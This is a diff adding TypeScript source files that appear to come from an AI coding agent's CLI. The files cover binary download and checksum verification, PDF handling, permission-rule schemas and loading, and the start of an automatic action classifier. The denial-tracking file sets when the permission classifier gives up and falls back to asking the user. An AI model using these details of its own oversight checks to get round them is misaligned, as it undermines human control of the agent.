+    name: 'claude-native-installer',
+    version: '0.0.1',
+    lockfileVersion: 3,
+    requires: true,
+    packages: {
+      '': {
+        name: 'claude-native-installer',
+        version: '0.0.1',
+        dependencies: {
+          [MACRO.NATIVE_PACKAGE_URL!]: version,
+        },
+      },
+      [`node_modules/${MACRO.NATIVE_PACKAGE_URL}`]: {
+        version: version,
+        optionalDependencies: {
+          [platformPackageName]: version,
+        },
+      },
+      [`node_modules/${platformPackageName}`]: {
+        version: version,
+        integrity: integrity,
+      },
+    },
+  }
+
+  writeFileSync_DEPRECATED(
+    join(stagingPath, 'package.json'),
+    jsonStringify(packageJson, null, 2),
+    { encoding: 'utf8', flush: true },
+  )
+
+  writeFileSync_DEPRECATED(
+    join(stagingPath, 'package-lock.json'),
+    jsonStringify(packageLock, null, 2),
+    { encoding: 'utf8', flush: true },
+  )
+
+  // Install with npm - it will verify integrity from package-lock.json
+  // Use --prefer-online to force fresh metadata checks, helping with Artifactory replication delays
+  const result = await execFileNoThrowWithCwd(
+    'npm',
+    ['ci', '--prefer-online', '--registry', ARTIFACTORY_REGISTRY_URL],
+    {
+      timeout: 60000,
+      preserveOutputOnError: true,
+      cwd: stagingPath,
+    },
+  )
+
+  if (result.code !== 0) {
+    throw new Error(`npm ci failed with code ${result.code}: ${result.stderr}`)
+  }
+
+  logForDebugging(
+    `Successfully downloaded and verified ${MACRO.NATIVE_PACKAGE_URL}@${version}`,
+  )
+}
+
+// Stall timeout: abort if no bytes received for this duration
+const DEFAULT_STALL_TIMEOUT_MS = 60000 // 60 seconds
+const MAX_DOWNLOAD_RETRIES = 3
+
+function getStallTimeoutMs(): number {
+  return (
+    Number(process.env.CLAUDE_CODE_STALL_TIMEOUT_MS_FOR_TESTING) ||
+    DEFAULT_STALL_TIMEOUT_MS
+  )
+}
+
+class StallTimeoutError extends Error {
+  constructor() {
+    super('Download stalled: no data received for 60 seconds')
+    this.name = 'StallTimeoutError'
+  }
+}
+
+/**
+ * Common logic for downloading and verifying a binary.
+ * Includes stall detection (aborts if no bytes for 60s) and retry logic.
+ */
+async function downloadAndVerifyBinary(
+  binaryUrl: string,
+  expectedChecksum: string,
+  binaryPath: string,
+  requestConfig: Record<string, unknown> = {},
+) {
+  let lastError: Error | undefined
+
+  for (let attempt = 1; attempt <= MAX_DOWNLOAD_RETRIES; attempt++) {
+    const controller = new AbortController()
+    let stallTimer: ReturnType<typeof setTimeout> | undefined
+
+    const clearStallTimer = () => {
+      if (stallTimer) {
+        clearTimeout(stallTimer)
+        stallTimer = undefined
+      }
+    }
+
+    const resetStallTimer = () => {
+      clearStallTimer()
+      stallTimer = setTimeout(c => c.abort(), getStallTimeoutMs(), controller)
+    }
+
+    try {
+      // Start the stall timer before the request
+      resetStallTimer()
+
+      const response = await axios.get(binaryUrl, {
+        timeout: 5 * 60000, // 5 minute total timeout
+        responseType: 'arraybuffer',
+        signal: controller.signal,
+        onDownloadProgress: () => {
+          // Reset stall timer on each chunk of data received
+          resetStallTimer()
+        },
+        ...requestConfig,
+      })
+
+      clearStallTimer()
+
+      // Verify checksum
+      const hash = createHash('sha256')
+      hash.update(response.data)
+      const actualChecksum = hash.digest('hex')
+
+      if (actualChecksum !== expectedChecksum) {
+        throw new Error(
+          `Checksum mismatch: expected ${expectedChecksum}, got ${actualChecksum}`,
+        )
+      }
+
+      // Write binary to disk
+      await writeFile(binaryPath, Buffer.from(response.data))
+      await chmod(binaryPath, 0o755)
+
+      // Success - return early
+      return
+    } catch (error) {
+      clearStallTimer()
+
+      // Check if this was a stall timeout (axios wraps abort signals in CanceledError)
+      const isStallTimeout = axios.isCancel(error)
+
+      if (isStallTimeout) {
+        lastError = new StallTimeoutError()
+      } else {
+        lastError = toError(error)
+      }
+
+      // Only retry on stall timeouts
+      if (isStallTimeout && attempt < MAX_DOWNLOAD_RETRIES) {
+        logForDebugging(
+          `Download stalled on attempt ${attempt}/${MAX_DOWNLOAD_RETRIES}, retrying...`,
+        )
+        // Brief pause before retry to let network recover
+        await sleep(1000)
+        continue
+      }
+
+      // Don't retry other errors (HTTP errors, checksum mismatches, etc.)
+      throw lastError
+    }
+  }
+
+  // Should not reach here, but just in case
+  throw lastError ?? new Error('Download failed after all retries')
+}
+
+export async function downloadVersionFromBinaryRepo(
+  version: string,
+  stagingPath: string,
+  baseUrl: string,
+  authConfig?: {
+    auth?: { username: string; password: string }
+    headers?: Record<string, string>
+  },
+) {
+  const fs = getFsImplementation()
+
+  // If we get here, we own the lock and can delete a partial download
+  await fs.rm(stagingPath, { recursive: true, force: true })
+
+  // Get platform
+  const platform = getPlatform()
+  const startTime = Date.now()
+
+  // Log download attempt start
+  logEvent('tengu_binary_download_attempt', {})
+
+  // Fetch manifest to get checksum
+  let manifest
+  try {
+    const manifestResponse = await axios.get(
+      `${baseUrl}/${version}/manifest.json`,
+      {
+        timeout: 10000,
+        responseType: 'json',
+        ...authConfig,
+      },
+    )
+    manifest = manifestResponse.data
+  } catch (error) {
+    const latencyMs = Date.now() - startTime
+    const errorMessage = error instanceof Error ? error.message : String(error)
+    let httpStatus: number | undefined
+    if (axios.isAxiosError(error) && error.response) {
+      httpStatus = error.response.status
+    }
+
+    logEvent('tengu_binary_manifest_fetch_failure', {
+      latency_ms: latencyMs,
+      http_status: httpStatus,
+      is_timeout: errorMessage.includes('timeout'),
+    })
+    logError(
+      new Error(
+        `Failed to fetch manifest from ${baseUrl}/${version}/manifest.json: ${errorMessage}`,
+      ),
+    )
+    throw error
+  }
+
+  const platformInfo = manifest.platforms[platform]
+
+  if (!platformInfo) {
+    logEvent('tengu_binary_platform_not_found', {})
+    throw new Error(
+      `Platform ${platform} not found in manifest for version ${version}`,
+    )
+  }
+
+  const expectedChecksum = platformInfo.checksum
+
+  // Both GCS and generic bucket use identical layout: ${baseUrl}/${version}/${platform}/${binaryName}
+  const binaryName = getBinaryName(platform)
+  const binaryUrl = `${baseUrl}/${version}/${platform}/${binaryName}`
+
+  // Write to staging
+  await fs.mkdir(stagingPath)
+  const binaryPath = join(stagingPath, binaryName)
+
+  try {
+    await downloadAndVerifyBinary(
+      binaryUrl,
+      expectedChecksum,
+      binaryPath,
+      authConfig || {},
+    )
+    const latencyMs = Date.now() - startTime
+    logEvent('tengu_binary_download_success', {
+      latency_ms: latencyMs,
+    })
+  } catch (error) {
+    const latencyMs = Date.now() - startTime
+    const errorMessage = error instanceof Error ? error.message : String(error)
+    let httpStatus: number | undefined
+    if (axios.isAxiosError(error) && error.response) {
+      httpStatus = error.response.status
+    }
+
+    logEvent('tengu_binary_download_failure', {
+      latency_ms: latencyMs,
+      http_status: httpStatus,
+      is_timeout: errorMessage.includes('timeout'),
+      is_checksum_mismatch: errorMessage.includes('Checksum mismatch'),
+    })
+    logError(
+      new Error(`Failed to download binary from ${binaryUrl}: ${errorMessage}`),
+    )
+    throw error
+  }
+}
+
+export async function downloadVersion(
+  version: string,
+  stagingPath: string,
+): Promise<'npm' | 'binary'> {
+  // Test-fixture versions route to the private sentinel bucket. DCE'd in all
+  // shipped builds — the string 'claude-code-ci-sentinel' and the gcloud call
+  // never exist in compiled binaries. Same gcloud-token pattern as
+  // remoteSkillLoader.ts:175-195.
+  if (feature('ALLOW_TEST_VERSIONS') && /^99\.99\./.test(version)) {
+    const { stdout } = await execFileNoThrowWithCwd('gcloud', [
+      'auth',
+      'print-access-token',
+    ])
+    await downloadVersionFromBinaryRepo(
+      version,
+      stagingPath,
+      'https://storage.googleapis.com/claude-code-ci-sentinel',
+      { headers: { Authorization: `Bearer ${stdout.trim()}` } },
+    )
+    return 'binary'
+  }
+
+  if (process.env.USER_TYPE === 'ant') {
+    // Use Artifactory for ant users
+    await downloadVersionFromArtifactory(version, stagingPath)
+    return 'npm'
+  }
+
+  // Use GCS for external users
+  await downloadVersionFromBinaryRepo(version, stagingPath, GCS_BUCKET_URL)
+  return 'binary'
+}
+
+// Exported for testing
+export { StallTimeoutError, MAX_DOWNLOAD_RETRIES }
+export const STALL_TIMEOUT_MS = DEFAULT_STALL_TIMEOUT_MS
+export const _downloadAndVerifyBinaryForTesting = downloadAndVerifyBinary
diff --git a/_all-in-one-upload/cc-haha/src/utils/pdf.ts b/_all-in-one-upload/cc-haha/src/utils/pdf.ts
new file mode 100644
index 0000000..65dc506
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/pdf.ts
@@ -0,0 +1,300 @@
+import { randomUUID } from 'crypto'
+import { mkdir, readdir, readFile } from 'fs/promises'
+import { join } from 'path'
+import {
+  PDF_MAX_EXTRACT_SIZE,
+  PDF_TARGET_RAW_SIZE,
+} from '../constants/apiLimits.js'
+import { errorMessage } from './errors.js'
+import { execFileNoThrow } from './execFileNoThrow.js'
+import { formatFileSize } from './format.js'
+import { getFsImplementation } from './fsOperations.js'
+import { getToolResultsDir } from './toolResultStorage.js'
+
+export type PDFError = {
+  reason:
+    | 'empty'
+    | 'too_large'
+    | 'password_protected'
+    | 'corrupted'
+    | 'unknown'
+    | 'unavailable'
+  message: string
+}
+
+export type PDFResult<T> =
+  | { success: true; data: T }
+  | { success: false; error: PDFError }
+
+/**
+ * Read a PDF file and return it as base64-encoded data.
+ * @param filePath Path to the PDF file
+ * @returns Result containing PDF data or a structured error
+ */
+export async function readPDF(filePath: string): Promise<
+  PDFResult<{
+    type: 'pdf'
+    file: {
+      filePath: string
+      base64: string
+      originalSize: number
+    }
+  }>
+> {
+  try {
+    const fs = getFsImplementation()
+    const stats = await fs.stat(filePath)
+    const originalSize = stats.size
+
+    // Check if file is empty
+    if (originalSize === 0) {
+      return {
+        success: false,
+        error: { reason: 'empty', message: `PDF file is empty: ${filePath}` },
+      }
+    }
+
+    // Check if PDF exceeds maximum size
+    // The API has a 32MB total request limit. After base64 encoding (~33% larger),
+    // a PDF must be under ~20MB raw to leave room for conversation context.
+    if (originalSize > PDF_TARGET_RAW_SIZE) {
+      return {
+        success: false,
+        error: {
+          reason: 'too_large',
+          message: `PDF file exceeds maximum allowed size of ${formatFileSize(PDF_TARGET_RAW_SIZE)}.`,
+        },
+      }
+    }
+
+    const fileBuffer = await readFile(filePath)
+
+    // Validate PDF magic bytes — reject files that aren't actually PDFs
+    // (e.g., HTML files renamed to .pdf) before they enter conversation context.
+    // Once an invalid PDF document block is in the message history, every subsequent
+    // API call fails with 400 "The PDF specified was not valid" and the session
+    // becomes unrecoverable without /clear.
+    const header = fileBuffer.subarray(0, 5).toString('ascii')
+    if (!header.startsWith('%PDF-')) {
+      return {
+        success: false,
+        error: {
+          reason: 'corrupted',
+          message: `File is not a valid PDF (missing %PDF- header): ${filePath}`,
+        },
+      }
+    }
+
+    const base64 = fileBuffer.toString('base64')
+
+    // Note: We cannot check page count here without parsing the PDF
+    // The API will enforce the 100-page limit and return an error if exceeded
+
+    return {
+      success: true,
+      data: {
+        type: 'pdf',
+        file: {
+          filePath,
+          base64,
+          originalSize,
+        },
+      },
+    }
+  } catch (e: unknown) {
+    return {
+      success: false,
+      error: {
+        reason: 'unknown',
+        message: errorMessage(e),
+      },
+    }
+  }
+}
+
+/**
+ * Get the number of pages in a PDF file using `pdfinfo` (from poppler-utils).
+ * Returns `null` if pdfinfo is not available or if the page count cannot be determined.
+ */
+export async function getPDFPageCount(
+  filePath: string,
+): Promise<number | null> {
+  const { code, stdout } = await execFileNoThrow('pdfinfo', [filePath], {
+    timeout: 10_000,
+    useCwd: false,
+  })
+  if (code !== 0) {
+    return null
+  }
+  const match = /^Pages:\s+(\d+)/m.exec(stdout)
+  if (!match) {
+    return null
+  }
+  const count = parseInt(match[1]!, 10)
+  return isNaN(count) ? null : count
+}
+
+export type PDFExtractPagesResult = {
+  type: 'parts'
+  file: {
+    filePath: string
+    originalSize: number
+    count: number
+    outputDir: string
+  }
+}
+
+let pdftoppmAvailable: boolean | undefined
+
+/**
+ * Reset the pdftoppm availability cache. Used by tests only.
+ */
+export function resetPdftoppmCache(): void {
+  pdftoppmAvailable = undefined
+}
+
+/**
+ * Check whether the `pdftoppm` binary (from poppler-utils) is available.
+ * The result is cached for the lifetime of the process.
+ */
+export async function isPdftoppmAvailable(): Promise<boolean> {
+  if (pdftoppmAvailable !== undefined) return pdftoppmAvailable
+  const { code, stderr } = await execFileNoThrow('pdftoppm', ['-v'], {
+    timeout: 5000,
+    useCwd: false,
+  })
+  // pdftoppm prints version info to stderr and exits 0 (or sometimes 99 on older versions)
+  pdftoppmAvailable = code === 0 || stderr.length > 0
+  return pdftoppmAvailable
+}
+
+/**
+ * Extract PDF pages as JPEG images using pdftoppm.
+ * Produces page-01.jpg, page-02.jpg, etc. in an output directory.
+ * This enables reading large PDFs and works with all API providers.
+ *
+ * @param filePath Path to the PDF file
+ * @param options Optional page range (1-indexed, inclusive)
+ */
+export async function extractPDFPages(
+  filePath: string,
+  options?: { firstPage?: number; lastPage?: number },
+): Promise<PDFResult<PDFExtractPagesResult>> {
+  try {
+    const fs = getFsImplementation()
+    const stats = await fs.stat(filePath)
+    const originalSize = stats.size
+
+    if (originalSize === 0) {
+      return {
+        success: false,
+        error: { reason: 'empty', message: `PDF file is empty: ${filePath}` },
+      }
+    }
+
+    if (originalSize > PDF_MAX_EXTRACT_SIZE) {
+      return {
+        success: false,
+        error: {
+          reason: 'too_large',
+          message: `PDF file exceeds maximum allowed size for text extraction (${formatFileSize(PDF_MAX_EXTRACT_SIZE)}).`,
+        },
+      }
+    }
+
+    const available = await isPdftoppmAvailable()
+    if (!available) {
+      return {
+        success: false,
+        error: {
+          reason: 'unavailable',
+          message:
+            'pdftoppm is not installed. Install poppler-utils (e.g. `brew install poppler` or `apt-get install poppler-utils`) to enable PDF page rendering.',
+        },
+      }
+    }
+
+    const uuid = randomUUID()
+    const outputDir = join(getToolResultsDir(), `pdf-${uuid}`)
+    await mkdir(outputDir, { recursive: true })
+
+    // pdftoppm produces files like <prefix>-01.jpg, <prefix>-02.jpg, etc.
+    const prefix = join(outputDir, 'page')
+    const args = ['-jpeg', '-r', '100']
+    if (options?.firstPage) {
+      args.push('-f', String(options.firstPage))
+    }
+    if (options?.lastPage && options.lastPage !== Infinity) {
+      args.push('-l', String(options.lastPage))
+    }
+    args.push(filePath, prefix)
+    const { code, stderr } = await execFileNoThrow('pdftoppm', args, {
+      timeout: 120_000,
+      useCwd: false,
+    })
+
+    if (code !== 0) {
+      if (/password/i.test(stderr)) {
+        return {
+          success: false,
+          error: {
+            reason: 'password_protected',
+            message:
+              'PDF is password-protected. Please provide an unprotected version.',
+          },
+        }
+      }
+      if (/damaged|corrupt|invalid/i.test(stderr)) {
+        return {
+          success: false,
+          error: {
+            reason: 'corrupted',
+            message: 'PDF file is corrupted or invalid.',
+          },
+        }
+      }
+      return {
+        success: false,
+        error: { reason: 'unknown', message: `pdftoppm failed: ${stderr}` },
+      }
+    }
+
+    // Read generated image files and sort naturally
+    const entries = await readdir(outputDir)
+    const imageFiles = entries.filter(f => f.endsWith('.jpg')).sort()
+    const pageCount = imageFiles.length
+
+    if (pageCount === 0) {
+      return {
+        success: false,
+        error: {
+          reason: 'corrupted',
+          message: 'pdftoppm produced no output pages. The PDF may be invalid.',
+        },
+      }
+    }
+
+    const count = imageFiles.length
+
+    return {
+      success: true,
+      data: {
+        type: 'parts',
+        file: {
+          filePath,
+          originalSize,
+          outputDir,
+          count,
+        },
+      },
+    }
+  } catch (e: unknown) {
+    return {
+      success: false,
+      error: {
+        reason: 'unknown',
+        message: errorMessage(e),
+      },
+    }
+  }
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/permissions/PermissionUpdateSchema.ts b/_all-in-one-upload/cc-haha/src/utils/permissions/PermissionUpdateSchema.ts
new file mode 100644
index 0000000..8d750f0
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/permissions/PermissionUpdateSchema.ts
@@ -0,0 +1,78 @@
+/**
+ * Zod schemas for permission updates.
+ *
+ * This file is intentionally kept minimal with no complex dependencies
+ * so it can be safely imported by src/types/hooks.ts without creating
+ * circular dependencies.
+ */
+import z from 'zod/v4'
+// Types extracted to src/types/permissions.ts to break import cycles
+import type {
+  PermissionUpdate,
+  PermissionUpdateDestination,
+} from '../../types/permissions.js'
+import { lazySchema } from '../lazySchema.js'
+import { externalPermissionModeSchema } from './PermissionMode.js'
+import {
+  permissionBehaviorSchema,
+  permissionRuleValueSchema,
+} from './PermissionRule.js'
+
+// Re-export for backwards compatibility
+export type { PermissionUpdate, PermissionUpdateDestination }
+
+/**
+ * PermissionUpdateDestination is where a new permission rule should be saved to.
+ */
+export const permissionUpdateDestinationSchema = lazySchema(() =>
+  z.enum([
+    // User settings (global)
+    'userSettings',
+    // Project settings (shared per-directory)
+    'projectSettings',
+    // Local settings (gitignored)
+    'localSettings',
+    // In-memory for the current session only
+    'session',
+    // From the command line arguments
+    'cliArg',
+  ]),
+)
+
+export const permissionUpdateSchema = lazySchema(() =>
+  z.discriminatedUnion('type', [
+    z.object({
+      type: z.literal('addRules'),
+      rules: z.array(permissionRuleValueSchema()),
+      behavior: permissionBehaviorSchema(),
+      destination: permissionUpdateDestinationSchema(),
+    }),
+    z.object({
+      type: z.literal('replaceRules'),
+      rules: z.array(permissionRuleValueSchema()),
+      behavior: permissionBehaviorSchema(),
+      destination: permissionUpdateDestinationSchema(),
+    }),
+    z.object({
+      type: z.literal('removeRules'),
+      rules: z.array(permissionRuleValueSchema()),
+      behavior: permissionBehaviorSchema(),
+      destination: permissionUpdateDestinationSchema(),
+    }),
+    z.object({
+      type: z.literal('setMode'),
+      mode: externalPermissionModeSchema(),
+      destination: permissionUpdateDestinationSchema(),
+    }),
+    z.object({
+      type: z.literal('addDirectories'),
+      directories: z.array(z.string()),
+      destination: permissionUpdateDestinationSchema(),
+    }),
+    z.object({
+      type: z.literal('removeDirectories'),
+      directories: z.array(z.string()),
+      destination: permissionUpdateDestinationSchema(),
+    }),
+  ]),
+)
diff --git a/_all-in-one-upload/cc-haha/src/utils/permissions/denialTracking.ts b/_all-in-one-upload/cc-haha/src/utils/permissions/denialTracking.ts
new file mode 100644
index 0000000..0ea0f62
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/permissions/denialTracking.ts
@@ -0,0 +1,45 @@
+/**
+ * Denial tracking infrastructure for permission classifiers.
+ * Tracks consecutive denials and total denials to determine
+ * when to fall back to prompting.
+ */
+
+export type DenialTrackingState = {
+  consecutiveDenials: number
+  totalDenials: number
+}
+
+export const DENIAL_LIMITS = {
+  maxConsecutive: 3,
+  maxTotal: 20,
+} as const
+
+export function createDenialTrackingState(): DenialTrackingState {
+  return {
+    consecutiveDenials: 0,
+    totalDenials: 0,
+  }
+}
+
+export function recordDenial(state: DenialTrackingState): DenialTrackingState {
+  return {
+    ...state,
+    consecutiveDenials: state.consecutiveDenials + 1,
+    totalDenials: state.totalDenials + 1,
+  }
+}
+
+export function recordSuccess(state: DenialTrackingState): DenialTrackingState {
+  if (state.consecutiveDenials === 0) return state // No change needed
+  return {
+    ...state,
+    consecutiveDenials: 0,
+  }
+}
+
+export function shouldFallbackToPrompting(state: DenialTrackingState): boolean {
+  return (
+    state.consecutiveDenials >= DENIAL_LIMITS.maxConsecutive ||
+    state.totalDenials >= DENIAL_LIMITS.maxTotal
+  )
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/permissions/permissionsLoader.ts b/_all-in-one-upload/cc-haha/src/utils/permissions/permissionsLoader.ts
new file mode 100644
index 0000000..29f06f9
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/permissions/permissionsLoader.ts
@@ -0,0 +1,296 @@
+import { readFileSync } from '../fileRead.js'
+import { getFsImplementation, safeResolvePath } from '../fsOperations.js'
+import { safeParseJSON } from '../json.js'
+import { logError } from '../log.js'
+import {
+  type EditableSettingSource,
+  getEnabledSettingSources,
+  type SettingSource,
+} from '../settings/constants.js'
+import {
+  getSettingsFilePathForSource,
+  getSettingsForSource,
+  updateSettingsForSource,
+} from '../settings/settings.js'
+import type { SettingsJson } from '../settings/types.js'
+import type {
+  PermissionBehavior,
+  PermissionRule,
+  PermissionRuleSource,
+  PermissionRuleValue,
+} from './PermissionRule.js'
+import {
+  permissionRuleValueFromString,
+  permissionRuleValueToString,
+} from './permissionRuleParser.js'
+
+/**
+ * Returns true if allowManagedPermissionRulesOnly is enabled in managed settings (policySettings).
+ * When enabled, only permission rules from managed settings are respected.
+ */
+export function shouldAllowManagedPermissionRulesOnly(): boolean {
+  return (
+    getSettingsForSource('policySettings')?.allowManagedPermissionRulesOnly ===
+    true
+  )
+}
+
+/**
+ * Returns true if "always allow" options should be shown in permission prompts.
+ * When allowManagedPermissionRulesOnly is enabled, these options are hidden.
+ */
+export function shouldShowAlwaysAllowOptions(): boolean {
+  return !shouldAllowManagedPermissionRulesOnly()
+}
+
+const SUPPORTED_RULE_BEHAVIORS = [
+  'allow',
+  'deny',
+  'ask',
+] as const satisfies PermissionBehavior[]
+
+/**
+ * Lenient version of getSettingsForSource that doesn't fail on ANY validation errors.
+ * Simply parses the JSON and returns it as-is without schema validation.
+ *
+ * Used when loading settings to append new rules (avoids losing existing rules
+ * due to validation failures in unrelated fields like hooks).
+ *
+ * FOR EDITING ONLY - do not use this for reading settings for execution.
+ */
+function getSettingsForSourceLenient_FOR_EDITING_ONLY_NOT_FOR_READING(
+  source: SettingSource,
+): SettingsJson | null {
+  const filePath = getSettingsFilePathForSource(source)
+  if (!filePath) {
+    return null
+  }
+
+  try {
+    const { resolvedPath } = safeResolvePath(getFsImplementation(), filePath)
+    const content = readFileSync(resolvedPath)
+    if (content.trim() === '') {
+      return {}
+    }
+
+    const data = safeParseJSON(content, false)
+    // Return raw parsed JSON without validation to preserve all existing settings
+    // This is safe because we're only using this for reading/appending, not for execution
+    return data && typeof data === 'object' ? (data as SettingsJson) : null
+  } catch {
+    return null
+  }
+}
+
+/**
+ * Converts permissions JSON to an array of PermissionRule objects
+ * @param data The parsed permissions data
+ * @param source The source of these rules
+ * @returns Array of PermissionRule objects
+ */
+function settingsJsonToRules(
+  data: SettingsJson | null,
+  source: PermissionRuleSource,
+): PermissionRule[] {
+  if (!data || !data.permissions) {
+    return []
+  }
+
+  const { permissions } = data
+  const rules: PermissionRule[] = []
+  for (const behavior of SUPPORTED_RULE_BEHAVIORS) {
+    const behaviorArray = permissions[behavior]
+    if (behaviorArray) {
+      for (const ruleString of behaviorArray) {
+        rules.push({
+          source,
+          ruleBehavior: behavior,
+          ruleValue: permissionRuleValueFromString(ruleString),
+        })
+      }
+    }
+  }
+  return rules
+}
+
+/**
+ * Loads all permission rules from all relevant sources (managed and project settings)
+ * @returns Array of all permission rules
+ */
+export function loadAllPermissionRulesFromDisk(): PermissionRule[] {
+  // If allowManagedPermissionRulesOnly is set, only use managed permission rules
+  if (shouldAllowManagedPermissionRulesOnly()) {
+    return getPermissionRulesForSource('policySettings')
+  }
+
+  // Otherwise, load from all enabled sources (backwards compatible)
+  const rules: PermissionRule[] = []
+
+  for (const source of getEnabledSettingSources()) {
+    rules.push(...getPermissionRulesForSource(source))
+  }
+  return rules
+}
+
+/**
+ * Loads permission rules from a specific source
+ * @param source The source to load from
+ * @returns Array of permission rules from that source
+ */
+export function getPermissionRulesForSource(
+  source: SettingSource,
+): PermissionRule[] {
+  const settingsData = getSettingsForSource(source)
+  return settingsJsonToRules(settingsData, source)
+}
+
+export type PermissionRuleFromEditableSettings = PermissionRule & {
+  source: EditableSettingSource
+}
+
+// Editable sources that can be modified (excludes policySettings and flagSettings)
+const EDITABLE_SOURCES: EditableSettingSource[] = [
+  'userSettings',
+  'projectSettings',
+  'localSettings',
+]
+
+/**
+ * Deletes a rule from the project permissions file
+ * @param rule The rule to delete
+ * @returns Promise resolving to a boolean indicating success
+ */
+export function deletePermissionRuleFromSettings(
+  rule: PermissionRuleFromEditableSettings,
+): boolean {
+  // Runtime check to ensure source is actually editable
+  if (!EDITABLE_SOURCES.includes(rule.source as EditableSettingSource)) {
+    return false
+  }
+
+  const ruleString = permissionRuleValueToString(rule.ruleValue)
+  const settingsData = getSettingsForSource(rule.source)
+
+  // If there's no settings data or permissions, nothing to do
+  if (!settingsData || !settingsData.permissions) {
+    return false
+  }
+
+  const behaviorArray = settingsData.permissions[rule.ruleBehavior]
+  if (!behaviorArray) {
+    return false
+  }
+
+  // Normalize raw settings entries via roundtrip parse→serialize so legacy
+  // names (e.g. "KillShell") match their canonical form ("TaskStop").
+  const normalizeEntry = (raw: string): string =>
+    permissionRuleValueToString(permissionRuleValueFromString(raw))
+
+  if (!behaviorArray.some(raw => normalizeEntry(raw) === ruleString)) {
+    return false
+  }
+
+  try {
+    // Keep a copy of the original permissions data to preserve unrecognized keys
+    const updatedSettingsData = {
+      ...settingsData,
+      permissions: {
+        ...settingsData.permissions,
+        [rule.ruleBehavior]: behaviorArray.filter(
+          raw => normalizeEntry(raw) !== ruleString,
+        ),
+      },
+    }
+
+    const { error } = updateSettingsForSource(rule.source, updatedSettingsData)
+    if (error) {
+      // Error already logged inside updateSettingsForSource
+      return false
+    }
+
+    return true
+  } catch (error) {
+    logError(error)
+    return false
+  }
+}
+
+function getEmptyPermissionSettingsJson(): SettingsJson {
+  return {
+    permissions: {},
+  }
+}
+
+/**
+ * Adds rules to the project permissions file
+ * @param ruleValues The rule values to add
+ * @returns Promise resolving to a boolean indicating success
+ */
+export function addPermissionRulesToSettings(
+  {
+    ruleValues,
+    ruleBehavior,
+  }: {
+    ruleValues: PermissionRuleValue[]
+    ruleBehavior: PermissionBehavior
+  },
+  source: EditableSettingSource,
+): boolean {
+  // When allowManagedPermissionRulesOnly is enabled, don't persist new permission rules
+  if (shouldAllowManagedPermissionRulesOnly()) {
+    return false
+  }
+
+  if (ruleValues.length < 1) {
+    // No rules to add
+    return true
+  }
+
+  const ruleStrings = ruleValues.map(permissionRuleValueToString)
+  // First try the normal settings loader which validates the schema
+  // If validation fails, fall back to lenient loading to preserve existing rules
+  // even if some fields (like hooks) have validation errors
+  const settingsData =
+    getSettingsForSource(source) ||
+    getSettingsForSourceLenient_FOR_EDITING_ONLY_NOT_FOR_READING(source) ||
+    getEmptyPermissionSettingsJson()
+
+  try {
+    // Ensure permissions object exists
+    const existingPermissions = settingsData.permissions || {}
+    const existingRules = existingPermissions[ruleBehavior] || []
+
+    // Filter out duplicates - normalize existing entries via roundtrip
+    // parse→serialize so legacy names match their canonical form.
+    const existingRulesSet = new Set(
+      existingRules.map(raw =>
+        permissionRuleValueToString(permissionRuleValueFromString(raw)),
+      ),
+    )
+    const newRules = ruleStrings.filter(rule => !existingRulesSet.has(rule))
+
+    // If no new rules to add, return success
+    if (newRules.length === 0) {
+      return true
+    }
+
+    // Keep a copy of the original settings data to preserve unrecognized keys
+    const updatedSettingsData = {
+      ...settingsData,
+      permissions: {
+        ...existingPermissions,
+        [ruleBehavior]: [...existingRules, ...newRules],
+      },
+    }
+    const result = updateSettingsForSource(source, updatedSettingsData)
+
+    if (result.error) {
+      throw result.error
+    }
+
+    return true
+  } catch (error) {
+    logError(error)
+    return false
+  }
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/permissions/yoloClassifier.ts b/_all-in-one-upload/cc-haha/src/utils/permissions/yoloClassifier.ts
new file mode 100644
index 0000000..1ec78b5
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/permissions/yoloClassifier.ts
@@ -0,0 +1,1495 @@
+import { feature } from 'bun:bundle'
+import type Anthropic from '@anthropic-ai/sdk'
+import type { BetaToolUnion } from '@anthropic-ai/sdk/resources/beta/messages.js'
+import { mkdir, writeFile } from 'fs/promises'
+import { dirname, join } from 'path'
+import { z } from 'zod/v4'
+import {
+  getCachedClaudeMdContent,
+  getLastClassifierRequests,
+  getSessionId,
+  setLastClassifierRequests,
+} from '../../bootstrap/state.js'
+import { getFeatureValue_CACHED_MAY_BE_STALE } from '../../services/analytics/growthbook.js'
+import { logEvent } from '../../services/analytics/index.js'
+import type { AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS } from '../../services/analytics/metadata.js'
+import { getCacheControl } from '../../services/api/claude.js'
+import { parsePromptTooLongTokenCounts } from '../../services/api/errors.js'
+import { getDefaultMaxRetries } from '../../services/api/withRetry.js'
+import type { Tool, ToolPermissionContext, Tools } from '../../Tool.js'
+import type { Message } from '../../types/message.js'
+import type {
+  ClassifierUsage,
+  YoloClassifierResult,
+} from '../../types/permissions.js'
+import { isDebugMode, logForDebugging } from '../debug.js'
+import { isEnvDefinedFalsy, isEnvTruthy } from '../envUtils.js'
+import { errorMessage } from '../errors.js'
+import { lazySchema } from '../lazySchema.js'
+import { extractTextContent } from '../messages.js'
+import { resolveAntModel } from '../model/antModels.js'
+import { getMainLoopModel } from '../model/model.js'
+import { getAutoModeConfig } from '../settings/settings.js'
+import { sideQuery } from '../sideQuery.js'
+import { jsonStringify } from '../slowOperations.js'
+import { tokenCountWithEstimation } from '../tokens.js'
+import {
+  getBashPromptAllowDescriptions,
+  getBashPromptDenyDescriptions,
+} from './bashClassifier.js'
+import {
+  extractToolUseBlock,
+  parseClassifierResponse,
+} from './classifierShared.js'
+import { getClaudeTempDir } from './filesystem.js'
+
+// Dead code elimination: conditional imports for auto mode classifier prompts.
+// At build time, the bundler inlines .txt files as string literals. At test
+// time, require() returns {default: string} — txtRequire normalizes both.
+/* eslint-disable custom-rules/no-process-env-top-level, @typescript-eslint/no-require-imports */
+function txtRequire(mod: string | { default: string }): string {
+  return typeof mod === 'string' ? mod : mod.default
+}
+
+const BASE_PROMPT: string = feature('TRANSCRIPT_CLASSIFIER')
+  ? txtRequire(require('./yolo-classifier-prompts/auto_mode_system_prompt.txt'))
+  : ''
+
+// External template is loaded separately so it's available for
